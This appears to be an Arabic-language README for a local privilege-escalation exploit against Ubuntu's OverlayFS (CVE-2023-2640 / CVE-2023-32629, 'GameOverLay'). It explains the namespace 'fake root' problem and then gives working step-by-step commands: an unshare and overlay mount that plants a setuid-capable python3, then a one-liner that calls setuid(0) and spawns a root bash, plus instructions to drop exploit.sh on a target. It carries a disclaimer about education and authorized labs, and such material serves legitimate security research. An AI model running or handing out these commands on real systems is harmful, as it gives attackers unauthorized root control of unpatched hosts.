CVE-2023-2640 و CVE-2023-32629 (GameOverLay) - إثبات إمكانية الهروب لجذر المضيف الحقيقي

إثبات مفهوم تفاعلي متعدد الخطوات لتصعيد الامتيازات المحلية (LPE) يستهدف ثغرات نظام الملفات OverlayFS في نواة أوبونتو لينكس (CVE-2023-2640 / CVE-2023-32629).

على عكس الأوامر الآلية القياسية التي تحبس شاشتك التفاعلية داخل مساحة مستخدم مقيدة (جذر مزيف)، تقسم هذه المنهجية تسلسل الاستغلال لإسقاط جذر مضيف حقيقي غير مقيد بأمان.

شرح مشكلة "Fake Root"

تقوم العديد من الاستغلالات العامة بربط الإعداد والتنفيذ معًا باستخدام تسلسل أوامر شل آلي واحد مثل هذا: unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"

لأن حمولة تنفيذ بايثون مضمنة داخل علامات اقتباس unshare المزدوجة، فإنها تنفذ داخليًا داخل صندوق مساحة المستخدم.

• النتيجة: يقرأ معرف المستخدم الخاص بك كـ uid=0(root)، لكن شاشتك معزولة تشفيريًا عن المضيف. إذا حاولت عرض دليل جذر المضيف (cd /root)، ستواجه خطأ Permission Denied.

الإصلاح

يقسم إثبات المفهوم هذا العملية إلى مرحلتين منطقيتين متميزتين:

1. تسليح داخل الصندوق: تشغيل unshare لمنح صلاحيات الجذر المزيفة فقط لفترة كافية لاستغلال ثغرة ovl_copy_up في OverlayFS، لتسريب قدرة setcap cap_setuid+eip عالية الامتياز إلى مجلد بايثون ثنائي محلي.
2. التنفيذ خارج الصندوق: تُغلق مساحة المستخدم تلقائيًا. ثم يُنفذ الثنائي المخترق مباشرة من سياق المضيف الحقيقي كمستخدم عادي غير مميز. يقرأ النواة العلم المسرب، ويسمح بـ os.setuid(0)، ويمنحك صلاحيات إدارة حقيقية على مستوى المضيف.

تفاصيل الثغرات

• CVE-2023-2640: تقييد غير صحيح لقدرات الملفات داخل مساحات المستخدم في نواة أوبونتو OverlayFS.
• CVE-2023-32629: خلل في دالة ovl_copy_up_meta_inode_data في نواة أوبونتو يسمح بتجاوز فحوصات التحقق بالكامل أثناء ترحيل الملفات.
• الأنظمة المتأثرة: Ubuntu 22.04 LTS يعمل بإصدارات نواة لينكس أقل من 6.2.0-26-generic.

تعليمات الاستخدام

الطريقة الأولى: البرنامج النصي الآلي (مُوصى به)

1. انسخ أو حمّل exploit.sh إلى الجهاز الهدف (مثلاً داخل /tmp).
2. امنحه صلاحيات التنفيذ وشغّله:

chmod +x exploit.sh
./exploit.sh

الطريقة الثانية: التنفيذ التفاعلي سطرًا سطرًا يدويًا

إذا كنت تعمل عبر شل عكسي متقلب، نفذ هذه الأوامر بشكل منفصل تمامًا، واضغط Enter بعد كل سطر:

# 1. Clean workspace environment 
cd /tmp && rm -rf l u w m

# 2. Forge the backdoor within the temporary namespace sandbox
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"

# 3. Trigger execution on the real host to claim true root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

تحقق من صلاحياتك الحقيقية بفحص ملف المستخدم الحالي:

whoami
cat /root/root.txt

الاعتمادات والشكر

تم اكتشاف وتوثيق آليات الاستغلال الأساسية المستخدمة في إعادة الصياغة التفاعلية هذه بواسطة باحثي الأمن Liav Eliyahu و g1vi.

إخلاء مسؤولية

تم إنشاء هذا المستودع بدقة لأغراض تعليمية وبحث أمني واختبار اختراق مصرح به (مثل مختبرات HackTheBox / OffSec). لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو محاولات الوصول غير المصرح بها أو تلف البنية التحتية الناتج عن هذه المواد. استخدم بمسؤولية.